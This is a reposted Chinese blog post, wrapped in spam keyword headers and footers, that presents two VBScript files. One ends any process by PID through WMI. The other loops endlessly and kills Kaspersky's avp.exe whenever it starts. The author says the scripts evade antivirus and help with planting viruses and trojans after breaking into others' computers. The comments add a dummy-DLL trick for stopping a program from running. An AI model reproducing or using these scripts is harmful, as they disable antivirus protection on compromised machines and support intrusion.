国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

用VBS實現腳本結束進程與防止進程啟動

2020-06-26 18:06:52
字體:
來源:轉載
供稿:網友
今天下午沒課,躲進私人空間開始思考些問題。在瀏覽VBS相關案例時,自己寫了兩個小程序出來,有Hack性質的(其實只要能“借刀殺人”,什么軟件沒黑客性質?- -!)。Kill.vbs用來在cmd下結束進程,Dis.vbs用來在窗口模式下防止某進程再次啟動。這兩個VBS都不會被殺毒軟件KILL掉,并且有一定的隱蔽性……看代碼?。?#39;為注釋) 
Kill.vbs: 
復制代碼代碼如下:

for each ps in getobject _   
("winmgmts://./root/cimv2:win32_process").instances_ '涉及到WMI腳本入侵技術,我不能解釋清楚!  
if ps.handle=wscript.arguments(0) then  '判斷進程的PID號是否與獲得的PID號參數相等  
wscript.echo ps.terminate '如果相等就結束指定PID號對應的進程  
end if  
next 

Dis.vbs 
復制代碼代碼如下:

dim y,x '不要這行也行……  
do '來個死循環……一直在判斷!do ... loop內為循環體!  
set y=getobject("winmgmts://./root/cimv2") '和上面解釋一樣,這也是涉及到微軟的WMI技術!  
set x=y.execquery("select * from win32_process where name='avp.exe'")   
'查詢語句,where后判斷avp.exe(卡巴)是否存在進程中!  
'這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非,把Dis.vbs結束了先……  
for each i in x   
i.terminate()  '卡巴要啟動馬上就終止……  
next   
wscript.sleep  
loop 
解釋夠清楚了,那就來看看這兩個vbs是如何工作的吧。我將Kill.vbs與Dis.vbs放在C盤根目錄下。 
打開cmd,輸入cd/回到C盤根目錄下,輸入tasklist查看當前系統的進程情況,然后記下你想kill的進程的PID號,輸入cscript Kill.vbs 2200即可結束PID為2200的進程了!假如這個進程是avp.exe,那你就可以輸入Dis.vbs啟動Dis.vbs來防止卡巴繼續被啟動。Dis.vbs啟動時僅在任務管理器的進程中有wscript.exe進程項,要是不結束這個進程是無法再次啟動卡巴的。 
懂得這些,為以后入侵他人電腦后上傳病毒、木馬之類的就更方便了一點點……上面的所有過程都經本人試驗成功了,繼續完善…… 
復制代碼代碼如下:

ws2_32.dll  
在程序目錄里建立這個也能組織程序運行  
 Greysign - 2007-03-20 19:01 阻止.  
 ycosxhack - 2007-03-20 19:15  
我暈了,果然啊!建立個記事本改名為ws2_32.dll,就……好,記下啦!呵呵……   
 Greysign - 2007-03-20 21:21  
運行程序會在WINDOWS目錄尋找這個接口文件.但是會先在程序目錄先搜索一遍   
 ycosxhack - 2007-03-20 21:43   
接口文件?你的意思是:任何程序都必須尋找它了?調用這個庫文件吧?刪了它就真正麻煩了……  
 Greysign - 2007-03-20 22:37 嗯.

轉:http://hi.baidu.com/ycosxhack/blog/item/779281359f25908aa71e12e9.html
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 陕西省| 通河县| 香港| 平果县| 济源市| 色达县| 玉溪市| 新泰市| 镇远县| 梨树县| 昌都县| 禹州市| 宝鸡市| 富顺县| 万州区| 新郑市| 神农架林区| 新昌县| 客服| 宁远县| 安图县| 固始县| 金沙县| 尤溪县| 锦屏县| 彭山县| 陵水| 隆安县| 元江| 舟曲县| 通州区| 井研县| 增城市| 怀宁县| 当涂县| 肃南| 墨竹工卡县| 营山县| 白沙| 沅江市| 潜山县|